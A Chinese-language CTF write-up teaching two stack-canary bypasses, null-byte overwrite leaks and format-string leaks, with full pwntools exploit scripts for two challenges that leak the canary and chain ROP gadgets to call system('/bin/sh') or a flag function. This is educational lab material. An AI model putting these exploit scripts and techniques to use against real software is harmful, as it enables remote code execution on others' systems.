文章目录
从0开始的pwn学习之随意pwnpwn(1)----两种绕过canary(金丝雀)的实例
做两道简单的pwn(因为刚刚学,可能难免会有错误,望师傅们轻点骂)
众所周知,绕过canary的方法除了一个一个猜字节(不是),还有两种常见方法
(1)通过覆盖00字符读出canary
(2)通过格式化字符串漏洞泄露canary
金丝雀基础知识
Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。
canary是如何工作的
在函数初始化的时候回初始化一个随机的canary值置于缓冲区的末端,在函数返回之前会对canary的值进行验证,无误则正常返回。
如下图
原理
因为通过格式化字符串漏洞可以实现任意内存的读写,而且,在一个程序里,不同函数在运行中使用的canary值是相同的,所以可以通过对格式化字符串漏洞的利用,或用覆盖00字符的方法,将canary的值读出来,实现缓冲区溢出攻击后(控制RET地址),在函数退出验证前再将canary 的值填回栈中,通过验证实现函数的正常返回
覆盖00字符读出canary
原理
- canary的值设计为以0x00结尾,防止read,printf等函数直接读出
- 通过栈溢出覆盖最低位的字节,从而获得canary
利用条件
- 存在read/printf等读出字符串的函数
- 可以两次栈溢出
- 第一次是覆盖00字节,得到canary
- 第二次是利用canary进行攻击
实例–bugku现在的pwn4
首先,我们来checksec一下
发现,对got表进行半保护,即got表可读,有金丝雀,有NX(无法写入shellcode),地址不随机。
那么,反编译看看吧。
首先看看有没有奇怪字符串,发现惊喜
发现奇怪hint函数,跟进查看,再次发现惊喜
于是发现是简单绕过canary的题,没有格式化字符串漏洞,于是选择通过覆盖00字符读出canary
用gdb看一眼
可以看出金丝雀放在rbp-0x8的位置,设断点运行,看一眼金丝雀的地址
看一眼
重新开始,发现改变,确定此处就是金丝雀
那么思路到这里就结束了。
进行准备工作用ROPgadget找一下rdi和/bin/sh
于是扔脚本
from pwn import *
import struct
context.log_level = 'debug'
sh = remote('114.67.246.176', 17317)
#sh = process('./pwn4')
sh.recv()
sh.sendline((0x240-0x8)*b'a')
sh.recvuntil('a'*(0x240-0x8)+'\n')
can = sh.recvuntil('\n', drop=True)#泄露canary
print(can)
if len(can) != 8:
can = b'\x00'+can
print(b'canary:'+can)
poprdi= 0x0400963
system = 0x0400660
bin_addr = 0x601068
payload = b'b'*(0x210-0x8) + can + b'a'*8 + p64(poprdi) +p64(bin_addr) + p64(system)
sh.send(payload)
sh.recv()
sh.interactive()
通过格式化字符串漏洞泄露canary
格式化字符串读出canary
格式化字符串漏洞
基础知识
首先了解一些前置知识。
参数 | 输入类型 | 输出类型 |
---|---|---|
%d | 值 | 十进制整数 |
%u | 值 | 无符号十进制整数 |
%x | 值 | 十六进制整数 |
%s | 指针 | 字符串 |
%n | 指针 | 到目前位置为止,已写的字节个数 |
%n格式化参数比较独特,因为它在写数据时没有任何输出,与读数据然后显示相反,格式化函数遇到格式化参数%n时,它将输出已经被存放到对应函数参数地址的字节数。
上图为我们调用printf(string)时栈的大体结构
当我们用printf(string)语句代替printf("%s",string)语句输出字符串时,就会造成格式化字符串漏洞。我们的本意只是单纯打印一段字符,但如果这段字符串来源于外部用户可控的输入,则该用户完全可以在字符串中嵌入格式化字符(如%s)。那么,由于printf允许参数个数不固定,故printf会自动将这段字符当作format参数,而用其后内存中的数据匹配formate参数。
1)如str就是“ctyssb”,则直接输出“ctyssb”
2)如str是format,比如是%3$x,则输出偏移3处的16进制数据。
要是我们的输入可以覆盖偏移2的内容为0x41414141,载通过给printf(formate)的formate赋值%2$s,那我们就可以读取地址0x41414141指向的值.
向任意存储地点写入
可以使用%n来对任意存储地址进行写入操作。通过向printf(formate)的formate赋值%20s$2n就可以将0x41414141所指向的值修改为0x14(16进制)
读出偏移量
以aaaa(32位)/aaaaaaaa(64位)±%p-%p-%p-%p-%p-%p-%p-%p-%p读出偏移量
can获得方法
首先,我们要知道,can大小为0x8或0x4下列用0x8举例
这里先用ida找到溢出点与ebp的距离这里用0x??举例
既然我们要欺骗金丝雀,可定不能把它覆盖掉,于是要相应的减去0x8,那么我们可知can的位置了,作为一个对编程有一点点基础的人,我们可知以字节为8位,那么我们可以用offset =(0x??-0x8)/8+偏移量 算出can的位置。于是我们用格式化字符串输出一下以‘%offset$p’的方式用recv()/recvuntil(‘字符’,drop=True)得到can的内容(不要忘记int一下),此刻我们就可以成功获得can的值了,那么我们已经做好了欺骗金丝雀的前置准备了。
金丝雀 DIE
此刻已经可以写payload了
那么假设我们已经通过上述方法获得can的值了,于是开始操作
payload=b‘a’(0x??-0x8) +p64(can)+b’a’(0x8)+要执行的操作
金丝雀,gg。
实例 --攻防世界 – Mary_Morton
1.日常checksec一下
一个64位程序,对got表进行半保护(got表可读),有金丝雀,有NX(不可写shellcode),地址不随机
2.那我们随随便便拖进ida看一眼
看起来这个程序想和我battle一下,那咱们进sub_4009DA和sub_4008EB看一眼。
再结合总程序来看很明显,当我们输入1,用的bufferoverflow,但输入2的话,很明显是我们的老朋友了,格式化字符串漏洞。,于是随机产生思路,我们第一步直接用格式化字符串找到偏移量。
执行后得到偏移量。
很明显我们可以看出偏移量为6
那么既然我们知道偏移量了,那么我们就可以算出can的位置了。
由ida我们可以看到,我们的buf距离ebp有0x90的距离。ok,0x90-0x8=0x88,0x88/8=17,17+6=23,那么到这里我们终于知道can的位置了。此时准备工作完成,于是扔脚本
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
sh = remote( '220.249.52.133',43484)
sh.recvuntil('battle \n')
sh.sendline('2')
sh.sendline('%23$p')
can = int (sh.recv(),16)
flag = 0x4008DA
payload = b'a'*(0x90-8) + p64(can) + b'a'*8 +p64(flag)
sh.recvuntil('battle \n')
sh.sendline('1')
sh.sendline(payload)
sh.interactive()
执行后得到flag
以上就是两种最基本的canary绕过方法的原理与实例了,有错误欢迎指出。